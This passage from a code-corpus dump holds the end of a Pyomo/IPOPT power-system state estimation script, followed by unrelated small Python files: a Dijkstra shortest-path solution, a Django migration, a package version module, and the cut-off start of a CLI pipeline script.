model.n_v[i]==0)) # This works\n\t\t\tfor rtu_ele in rtu:\n\t\t\t\tif rtu_ele.Bus == bus_ele.Bus:\n\t\t\t\t\t# This constraint is satisfied at the 0 iter\n\t\t\t\t\t# model.consl.add(expr= (bus_ele.ipopt_vr**2 + bus_ele.ipopt_vi**2 - (rtu_ele.vmag_mea - rtu_ele.ipopt_nv)**2) == 0) # This works \n\t\t\t\t\tpass\n\t\t\tpass\n\n\t\t\t\"\"\"\n\t\t\tThis constraint is needed, with out it we can not squeeze the solution to 2\n\t\t\tIPOPT will find a large number of solution near the initial points\n\t\t\t\"\"\"\n\t\t\t\"\"\"\n\t\t\tfor ele in slack:\n\t\t\tele.add_slack_constraints(model)\n\t\t\t\"\"\"\n\t\t\n\t\t\t#Noise -> model.n_r -> G_noise \n\t\t\t\t\t\t# Model 1 = (G + jB)(Vr + jVi) + Ir_noise + jIi_noise\n\t\t\t\t\t\t# Model 2 = (P + P_noise + jQ + jQ_noise)/(Vr - jVi)\n\t\t\t\t\t\t# Model 3 = (G + G_noise + jB + jBnoise)(Vr + jVi)\n\t\t\t\t\t\t# (G + G_noise)Vr - (B + B_noise)Vi = G.Vr - BVi + G_noise.Vr - B_noise.Vi\n\t\t\t\t\t\t# Ir = GVr - BVi\n\t\t\t\n\t\t\tif model_type == 666: # Only to test How it will work with no constraints\n\t\t\t\tpass\n\n\t\t\tif model_type == 4:\n\n\t\t\t\t# For Non_convex\n\t\t\t\n\t\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\tsum(ele.calc_real_current(bus, ele.from_bus) for ele in branch if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(bus, ele.to_bus) for ele in branch if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(bus, ele.from_bus) for ele in transformer if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(bus, ele.to_bus) for ele in transformer if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(bus) for ele in shunt if ele.Bus == bus_ele.Bus)\\\n\t\t\t\t\t\t# RTU Noise\n\t\t\t\t\t\t+ sum(bus_ele.ipopt_vr*rtu_ele.p_mea/((rtu_ele.vmag_mea)**2)\\\n\t\t\t\t\t\t\t- bus_ele.ipopt_vi*rtu_ele.q_mea/((rtu_ele.vmag_mea)**2)\\\n\t\t\t\t\t\t\t+ rtu_ele.ipopt_nr for rtu_ele in rtu if rtu_ele.Bus == bus_ele.Bus)\\\n\t\t\t\t\t\t\t== 0)\n\t\t\t\t\n\t\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\tsum(ele.calc_imag_current(bus, ele.from_bus) for ele in branch if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(bus, ele.to_bus) for ele in branch if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(bus, ele.from_bus) for ele in transformer if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(bus, ele.to_bus) for ele in transformer if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(bus) for ele in shunt if ele.Bus == bus_ele.Bus)\\\n\t\t\t\t\t\t# RTU Noise\n\t\t\t\t\t\t+ sum(bus_ele.ipopt_vi*rtu_ele.p_mea/((rtu_ele.vmag_mea)**2)\\\n\t\t\t\t\t\t\t+ bus_ele.ipopt_vr*rtu_ele.q_mea/((rtu_ele.vmag_mea)**2)\\\n\t\t\t\t\t\t\t+ rtu_ele.ipopt_ni for rtu_ele in rtu if rtu_ele.Bus == bus_ele.Bus)\\\n\t\t\t\t\t\t\t== 0)\n\t\t\t\n\t\t\t\t# print (\"What is Real residual at bus\",bus_ele.Bus,\":\",(\n\t\t\t\t# \tvalue(sum(ele.calc_real_current(bus, ele.from_bus) for ele in branch if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t+ sum(ele.calc_real_current(bus, ele.to_bus) for ele in branch if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t+ sum(ele.calc_real_current(bus, ele.from_bus) for ele in transformer if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t+ sum(ele.calc_real_current(bus, ele.to_bus) for ele in transformer if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t+ sum(ele.calc_real_current(bus) for ele in shunt if ele.Bus == bus_ele.Bus)),\\\n\t\t\t\t# \t\t# RTU Noise\n\t\t\t\t# \t\tvalue(+ sum(bus_ele.ipopt_vr*rtu_ele.p_mea/((rtu_ele.vmag_mea)**2)\\\n\t\t\t\t# \t\t - bus_ele.ipopt_vi*rtu_ele.q_mea/((rtu_ele.vmag_mea)**2)\\\n\t\t\t\t# \t\t + rtu_ele.ipopt_nr for rtu_ele in rtu if rtu_ele.Bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t \t)))\n\t\t\t\t\n\t\t\t\t# print (\"What is Imaginary residual bus\",bus_ele.Bus,\":\",(\n\t\t\t\t# \tvalue(sum(ele.calc_imag_current(bus, ele.from_bus) for ele in branch if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t+ sum(ele.calc_imag_current(bus, ele.to_bus) for ele in branch if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t+ sum(ele.calc_imag_current(bus, ele.from_bus) for ele in transformer if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t+ sum(ele.calc_imag_current(bus, ele.to_bus) for ele in transformer if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t+ sum(ele.calc_imag_current(bus) for ele in shunt if ele.Bus == bus_ele.Bus)),\\\n\t\t\t\t# \t\t# RTU Noise\n\t\t\t\t# \t\tvalue(+ sum(bus_ele.ipopt_vi*rtu_ele.p_mea/((rtu_ele.vmag_mea)**2)\\\n\t\t\t\t# \t\t\t + bus_ele.ipopt_vr*rtu_ele.q_mea/((rtu_ele.vmag_mea)**2)\\\n\t\t\t\t# \t\t + rtu_ele.ipopt_ni for rtu_ele in rtu if rtu_ele.Bus == bus_ele.Bus)\\\n\t\t\t\t# \t\t \t)))\n\t\t\t\n\t\t\tif model_type == 3:\n\t\t\t\tmodel.consl.add(expr=\n\t\t\t\t\t\tsum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.to_bus == i)\\\n\t\t\t\t\t\t# Up there should be branches' current\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.Bus], model.v_i[ele.Bus]) for ele in shunt if ele.Bus == i)\\\n\t\t\t\t\t\t#Up there should add up to all current flow at node i except I_RTU\n\t\t\t\t\t\t+ model.v_r[i]*z_RTU[i]['p']/((z_RTU[i]['v_mag'])**2)\\\n\t\t\t\t\t\t- model.v_i[i]*z_RTU[i]['q']/((z_RTU[i]['v_mag'])**2)\\\n\t\t\t\t\t\t#This one should be I_RTU\n\t\t\t\t\t\t+ model.v_r[i]*model.n_r[i]\\\n\t\t\t\t\t\t- model.v_i[i]*model.n_i[i] == 0)\n\t\t\t\t\t\t#And the noise term\n\t\t\n\t\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\tsum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.Bus], model.v_i[ele.Bus], i) for ele in shunt if ele.Bus == i)\\\n\t\t\t\t\t\t+ model.v_i[i]*z_RTU[i]['p']/((z_RTU[i]['v_mag'])**2)\\\n\t\t\t\t\t\t+ model.v_r[i]*z_RTU[i]['q']/((z_RTU[i]['v_mag'])**2)\\\n\t\t\t\t\t\t+ model.v_i[i]*model.n_r[i]\\\n\t\t\t\t\t\t+ model.v_r[i]*model.n_i[i] == 0)\n\t\t\t\t\n\t\t\t\n\t\t\telif model_type == 1:\n\t\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\tsum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.Bus], model.v_i[ele.Bus]) for ele in shunt if ele.Bus == i)\\\n\t\t\t\t\t\t+ model.v_r[i]*z_RTU[i]['p']/((z_RTU[i]['v_mag'])**2)\\\n\t\t\t\t\t\t- model.v_i[i]*z_RTU[i]['q']/((z_RTU[i]['v_mag'])**2)\\\n\t\t\t\t\t\t+ model.n_r[i] == 0)\n\t\t\n\t\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\tsum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.Bus], model.v_i[ele.Bus]) for ele in shunt if ele.Bus == i)\\\n\t\t\t\t\t\t+ model.v_i[i]*z_RTU[i]['p']/((z_RTU[i]['v_mag'])**2)\\\n\t\t\t\t\t\t+ model.v_r[i]*z_RTU[i]['q']/((z_RTU[i]['v_mag'])**2)\\\n\t\t\t\t\t\t+ model.n_i[i] == 0)\n\t\t\t\n\t\t\telif model_type == 2:\n\t\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\tsum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(model.v_r[ele.Bus], model.v_i[ele.Bus]) for ele in shunt if ele.Bus == i)\\\n\t\t\t\t\t\t+ (model.v_r[i]*(z_RTU[i]['p'] + model.n_r[i])\\\n\t\t\t\t\t\t- model.v_i[i]*(z_RTU[i]['q'] + model.n_i[i]))\\\n\t\t\t\t\t\t/ (model.v_r[i]**2 + model.v_i[i]**2)\\\n\t\t\t\t\t\t== 0)\n\t\t\t\t\t\n\t\t\n\t\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\tsum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.from_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.to_bus == i)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(model.v_r[ele.Bus], model.v_i[ele.Bus]) for ele in shunt if ele.Bus == i)\\\n\t\t\t\t\t\t+ (model.v_i[i]*(z_RTU[i]['p'] + model.n_r[i])\\\n\t\t\t\t\t\t+ model.v_r[i]*(z_RTU[i]['q'] + model.n_i[i]))\\\n\t\t\t\t\t\t/ (model.v_r[i]**2 + model.v_i[i]**2)\\\n\t\t\t\t\t\t== 0)\n\t\t\n\t\telif bus_ele.flag_ZIbus == 1:\n\t\t\t\n\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\t\tsum(ele.calc_real_current(bus, ele.from_bus) for ele in branch if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(bus, ele.to_bus) for ele in branch if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(bus, ele.from_bus) for ele in transformer if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(bus, ele.to_bus) for ele in transformer if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_real_current(bus) for ele in shunt if ele.Bus == bus_ele.Bus)\\\n\t\t\t\t\t\t== 0)\n\t\t\t\t\n\t\t\tmodel.consl.add(expr= \n\t\t\t\t\t\t\tsum(ele.calc_imag_current(bus, ele.from_bus) for ele in branch if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(bus, ele.to_bus) for ele in branch if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(bus, ele.from_bus) for ele in transformer if ele.from_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(bus, ele.to_bus) for ele in transformer if ele.to_bus == bus_ele.Bus)\\\n\t\t\t\t\t\t+ sum(ele.calc_imag_current(bus) for ele in shunt if ele.Bus == bus_ele.Bus)\\\n\t\t\t\t\t\t== 0)\n\t\t\t\t\n\t\t\t# model.consl.add(expr= \n\t\t\t# \t sum(ele.calc_real_current(bus, i) for ele in branch if ele.from_bus == i)\\\n\t\t\t# \t+ sum(ele.calc_real_current(bus, i) for ele in branch if ele.to_bus == i)\\\n\t\t\t# \t+ sum(ele.calc_real_current(bus, i) for ele in transformer if ele.from_bus == i)\\\n\t\t\t# \t+ sum(ele.calc_real_current(bus, i) for ele in transformer if ele.to_bus == i)\\\n\t\t\t# \t+ sum(ele.calc_real_current(bus) for ele in shunt if ele.Bus == i)\\\n\t\t\t# \t== 0)\n\t\t\t\t\n\t\t\t# model.consl.add(expr= \n\t\t\t# \t sum(ele.calc_imag_current(bus, i) for ele in branch if ele.from_bus == i)\\\n\t\t\t# \t+ sum(ele.calc_imag_current(bus, i) for ele in branch if ele.to_bus == i)\\\n\t\t\t# \t+ sum(ele.calc_imag_current(bus, i) for ele in transformer if ele.from_bus == i)\\\n\t\t\t# \t+ sum(ele.calc_imag_current(bus, i) for ele in transformer if ele.to_bus == i)\\\n\t\t\t# \t+ sum(ele.calc_imag_current(bus) for ele in shunt if ele.Bus == i)\\\n\t\t\t# \t== 0)\n\t\t\n\t\t\t# For Zero Injection bus, all currents add up to zero\n\t\n\t# Fixing B[0]\n\t# model.ipopt_B_list[0].fix(-245.185584)\n\n\tprint (\"The number of ZI is\", count_ZI)\n\n\tif True:\n\t\tsolver = SolverFactory('ipopt')\n\t\tsolver.options['tol'] = tolerance\n\t\t# solver.options[\"OF_hessian_approximation\"]=\"exact\" #This one is not functioning\n\t\tsolver.options[\"max_iter\"]= max_iter\n\t\t# solver.options[\"print_level\"]= 6\n\t\tsolver.options['print_frequency_iter'] = 1\n\t\tsolver.options[\"print_user_options\"] = \"yes\"\n\t\tsolver.options[\"print_info_string\"] = \"yes\"\n\t\tsolver.options[\"honor_original_bounds\"] = \"yes\"\n\t\tsolver.options[\"mu_init\"] = 1e-2\n\t\t# solver.options[\"nlp_scaling_method\"] = \"none\"\n\t\t# solver.options[\"nlp_scaling_method\"] = \"gradient-based\"\n\t\tsolver.options[\"obj_scaling_factor\"] = Obj_scal_factor # Same as setting w for all noise \n\t\tpyomo_options = {\"tee\": flag_tee}\n\t\n\telse:\n\t\tsolver = SolverFactory('multistart')\n\t\n\t# Add inequality constraints here\n\t# model.consl.add(expr=model.G>=0)\n\tresult = solver.solve(model, **pyomo_options)\n\t# print(result)\n\tmodel.solutions.store_to(result)\n\t#result.write()\n\t\n\t# print(sum(ele.calc_real_current(bus, ele.from_bus) for ele in branch if ele.from_bus == 68 and ele.to_bus == 116))\n\t# print(value(sum(ele.calc_real_current(bus, ele.from_bus) for ele in branch if ele.from_bus == 68 and ele.to_bus == 116)))\n\t# print(sum(ele.calc_imag_current(bus, ele.from_bus) for ele in branch if ele.from_bus == 68 and ele.to_bus == 116))\n\t# print(value(sum(ele.calc_imag_current(bus, ele.from_bus) for ele in branch if ele.from_bus == 68 and ele.to_bus == 116)))\n\t# print(value(sum(ele_rtu.ipopt_nr for ele_rtu in rtu if ele_rtu.Bus == 116)))\n\t# print(value(sum(ele_rtu.ipopt_ni for ele_rtu in rtu if ele_rtu.Bus == 116)))\n\t# print(value(sum(ele_rtu.ipopt_nv for ele_rtu in rtu if ele_rtu.Bus == 116)))\n\t\n\t# Access the solver status and solution\n\t# print(result)\n\t# print(result.solver.status)\n\t# print(result.solver.termination_condition)\n\n\test_vr= [value(bus_ele.ipopt_vr) for bus_ele in bus]\n\test_vi= [value(bus_ele.ipopt_vi) for bus_ele in bus]\n\tprint (np.size(est_vr))\n\t#TODO first get the correct optiaml objective\n\toptimal_values_Ir = [sum(value(model.ipopt_nr_list[key])**2 for key in model.ipopt_nr_list)]\n\toptimal_values_Ii = [sum(value(model.ipopt_ni_list[key])**2 for key in model.ipopt_ni_list)]\n\toptimal_values_vmag = [sum(value(model.ipopt_nv_list[key])**2 for key in model.ipopt_nv_list)]\n\toptimal_values_vslack = [sum(value(model.ipopt_slack_nr[key])**2 for key in model.ipopt_slack_nr)]\n\t\n\toptimal_values =optimal_values_vslack + optimal_values_vmag + optimal_values_Ir + optimal_values_Ii\n\toptimal_values_sum = optimal_values_Ir[0] + optimal_values_Ii[0] + optimal_values_vmag[0] + optimal_values_vslack[0]\n\t\n\tprint (\"================================================================\")\n\tprint (\"optimal objective each element\", optimal_values)\n\tprint (\"optimal objective sum\", optimal_values_sum)\n\n\tif False:#Checing risidual for each bus\n\t\tfor ele in branch:\n\t\t\tif ele.unknown_B:\n\t\t\t\ti = ele.from_bus\n\t\t\t\tprint(\"unknown_bus\", ele.from_bus, ele.to_bus)\n\t\t\t\tprint(\"unknown_bus_voltage\", model.v_i[ele.from_bus],value(model.v_i[ele.from_bus]), model.v_i[ele.to_bus],value(model.v_i[ele.to_bus]))\n\t\t\t\tprint(\"unknown_bus_voltage_difference\", value(model.v_i[ele.from_bus])-value(model.v_i[ele.to_bus]))\n\t\t\t\tprint(\"unknown_branch_B\", value(model.B[0]))\n\t\t\t\tcurrent_unknown_B_from = sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.from_bus == i)\n\t\t\t\tcurrent_unknown_B_to = sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_i[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.to_bus], i) for ele in branch if ele.to_bus == i)\n\t\t\t\tcurrent_unknown_B_Trans_from =sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.from_bus == i)\n\t\t\t\tcurrent_unknown_B_Trans_to = sum(ele.calc_real_current(model.v_r[ele.from_bus], model.v_r[ele.to_bus], model.v_i[ele.from_bus], model.v_i[ele.to_bus], i) for ele in transformer if ele.to_bus == i)\n\t\t\t\tcurrent_unknown_B_shunt = sum(ele.calc_real_current(model.v_r[ele.Bus], model.v_i[ele.Bus]) for ele in shunt if ele.Bus == i)\n\t\t\t\tprint(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\t\t\t\tprint(\"What is the function:\",\"current_unknown_B_from\",current_unknown_B_from)\n\t\t\t\tprint(\"What is the function:\",\"current_unknown_B_to\",current_unknown_B_to)\n\t\t\t\tprint(\"What is the function:\",\"current_unknown_B_Trans_from\",current_unknown_B_Trans_from)\n\t\t\t\tprint(\"What is the function:\",\"current_unknown_B_Trans_to\",current_unknown_B_Trans_to)\n\t\t\t\tprint(\"What is the function:\",\"current_unknown_B_shunt\",current_unknown_B_shunt)\n\t\t\t\tprint(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\t\t\t\tprint(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\t\t\t\tprint(\"What is the value:\",\"current_unknown_B_from\",value(current_unknown_B_from))\n\t\t\t\tprint(\"What is the value:\",\"current_unknown_B_to\",value(current_unknown_B_to))\n\t\t\t\tprint(\"What is the value:\",\"current_unknown_B_Trans_from\",value(current_unknown_B_Trans_from))\n\t\t\t\tprint(\"What is the value:\",\"current_unknown_B_Trans_to\",value(current_unknown_B_Trans_to))\n\t\t\t\tprint(\"What is the value:\",\"current_unknown_B_shunt\",value(current_unknown_B_shunt))\n\t\t\t\tprint(\"What is the residual:\",(value(current_unknown_B_from) + value(current_unknown_B_to) + value(current_unknown_B_Trans_from) + value(current_unknown_B_Trans_to) + value(current_unknown_B_shunt)))\n\t\t\t\tprint(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\t\n\t\n\tif get_estB:\n\t\tfor branches in unknown_B_between:\n\t\t\t(a,b,id) = branches # Branch from bus a to bus b\n\t\t\t\n\t\t\tfor ele in branch:\n\t\t\t\tif ele.from_bus == a and ele.to_bus == b:\n\t\t\t\t\tele.B_l = value(ele.B_l)\n\n\tif unknown_branch_B or unknown_branch_G or unknown_branch_sh:\n\t\t\n\t\treturn_list = [est_vr, est_vi]\n\n\t\tif unknown_branch_B:\n\t\t\test_B = [] # This should be a list of est of unknow B \n\t\t\t\n\t\t\tif not delta_B:\n\t\t\t\tfor ele in model.ipopt_B_list:\n\t\t\t\t\test_B.append(value(model.ipopt_B_list[ele]))\n\t\t\t\t\t\n\t\t\telse:\n\t\t\t\tfor ele in model.Bipopt_B_list:\n\t\t\t\t\test_B.append(value(model.ipopt_B_list[ele]))\n\t\t\t\n\t\t\tprint (\"EST_B\", est_B)\n\t\t\t\n\t\t\treturn est_vr, est_vi, est_B, real_B_list, unknown_B_between, optimal_values_sum\n\t\t\n\t\tif unknown_branch_G:\n\t\t\test_G = []\n\t\t\tfor ele in model.ipopt_G_list:\n\t\t\t\t\test_B.append(value(model.ipopt_G_list[ele]))\n\t\t\treturn est_vr, est_vi, est_G, real_G, (a,b)\n\t\t\n\t\tif unknown_branch_sh:\n\t\t\test_sh = []\n\t\t\tfor ele in model.ipopt_sh_list:\n\t\t\t\test_sh.append(value(model.ipopt_sh_list))\n\t\n\telse:\n\t\treturn est_vr, est_vi,1,1,(1,1),optimal_values\n\n\t\n","repo_name":"Asang97/cktPSE","sub_path":"code/scripts/IPOPT_workfile.py","file_name":"IPOPT_workfile.py","file_ext":"py","file_size_in_byte":30323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3356493990","text":"from heapq import heappush, heappop\nimport sys\n\ninput = sys.stdin.readline\nINF = int(1e9)\nN, E = map(int, input().split())\ngraph = [[] for _ in range(N+1)]\nfor _ in range(E):\n a, b, c = map(int, input().split())\n graph[a].append((b,c))\n graph[b].append((a,c))\nv1, v2 = map(int, input().split())\n\ndef dijkstra(s):\n dist = [INF] * (N + 1)\n heap = []\n heappush(heap,(0, N))\n dist[s] = 0\n for node in graph[s]:\n if dist[node[0]] > node[1]:\n dist[node[0]] = node[1]\n heappush(heap,(node[1], node[0]))\n\n while heap:\n now = heappop(heap)[1]\n for node in graph[now]:\n cost = dist[now] + node[1]\n if dist[node[0]] > cost:\n dist[node[0]] = cost\n heappush(heap, (cost, node[0]))\n\n return dist\n\ndist = dijkstra(1)\nfrom_v1 = dijkstra(v1)\nfrom_v2 = dijkstra(v2)\n\na = dist[v1] + from_v1[v2] + from_v2[N]\nb = dist[v2] + from_v2[v1] + from_v1[N]\nif min(a, b) < INF:\n print(min(a, b))\nelse:\n print(-1)\n","repo_name":"SSAFY-algamza/ssafy-algorithm-study","sub_path":"f1rstf1y9/BOJ/BOJ_1504_특정한 최단 경로.py","file_name":"BOJ_1504_특정한 최단 경로.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25723375929","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\ndef len_from_bits(apps, schema_editor):\n CodeComponent = apps.get_model(\"code_based_auth\", \"CodeComponent\")\n import math\n for cc in CodeComponent.objects.all():\n cc.hash_len = math.ceil(cc.hash_bits / 8.0)\n cc.save()\n\ndef bits_from_len(apps, schema_editor):\n CodeComponent = apps.get_model(\"code_based_auth\", \"CodeComponent\")\n import math\n for cc in CodeComponent.objects.all():\n cc.hash_bits = math.ceil(cc.hash_len * 8)\n cc.save()\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('code_based_auth', '0007_auto_20151021_2058'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='codecomponent',\n name='hash_len',\n field=models.PositiveIntegerField(default=42),\n preserve_default=False,\n ),\n migrations.RunPython(len_from_bits, bits_from_len),\n migrations.RemoveField(\n model_name='codecomponent',\n name='hash_bits',\n ),\n migrations.AlterField(\n model_name='codecomponent',\n name='hash_format',\n field=models.CharField(max_length=2, choices=[(b'h', b'hex'), (b'i', b'decimal'), (b'l', b'letters and digits'), (b'L', b'case-insensitive letters and digits'), (b'w', b'words'), (b'W', b'case-insensitive words'), (b'r', b'raw no hash')]),\n preserve_default=True,\n ),\n ]\n","repo_name":"polz113/bober","sub_path":"django/bober/code_based_auth/migrations/0008_auto_20151025_0732.py","file_name":"0008_auto_20151025_0732.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"39403408417","text":"import pkg_resources\n\ntry:\n __version__ = pkg_resources.get_distribution(\"django-elasticsearch-debug-toolbar\").version\nexcept Exception:\n __version__ = \"unknown\"\n\n\n__title__ = \"elastic_panel\"\n__author__ = \"Benoit Chabord\"\n__copyright__ = \"Copyright 2014 Benoit Chabord\"\n\nVERSION = __version__\n","repo_name":"Benoss/django-elasticsearch-debug-toolbar","sub_path":"elastic_panel/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"31"} +{"seq_id":"6393595275","text":"import click\nimport logging\nfrom pipeline import Pipeline\nimport sys\nimport os\n\nfrom timeit import default_timer as timer\nfrom datetime import 